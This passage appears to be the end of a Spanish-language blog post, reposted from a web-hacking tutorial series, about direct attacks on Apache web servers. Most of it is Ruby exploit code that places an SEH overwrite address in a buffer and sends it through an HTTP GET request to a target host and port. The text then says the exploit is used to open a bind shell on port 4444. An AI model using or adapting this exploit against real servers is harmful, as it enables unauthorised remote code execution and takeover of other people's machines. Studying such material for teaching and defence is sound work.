buffer[seh_offset , 4] = "\xf1\x8e\x6b\x6a"
}
begin
url = URI.parse('http://' + targetip)
res = Net::HTTP.start(url.host, targetport) { |http|
http.get('/' + buffer)
}
rescue
puts "[-] Error while trying to connect to #{targetip}:#{targetport}"
exit
end
La siguiente imagen enseña como crear una bindshell en el puerto 4444 utilizando el exploit anterior
apache4444
Esto es todo de momento, en la próxima publicación, un poco más sobre otros ataques directos a servidores web.

Gracias a http://thehackerway.com/2013/01/24/web-hacking-algunos-ataques-directos-contra-servidores-web-apache-parte-xx/

Miguel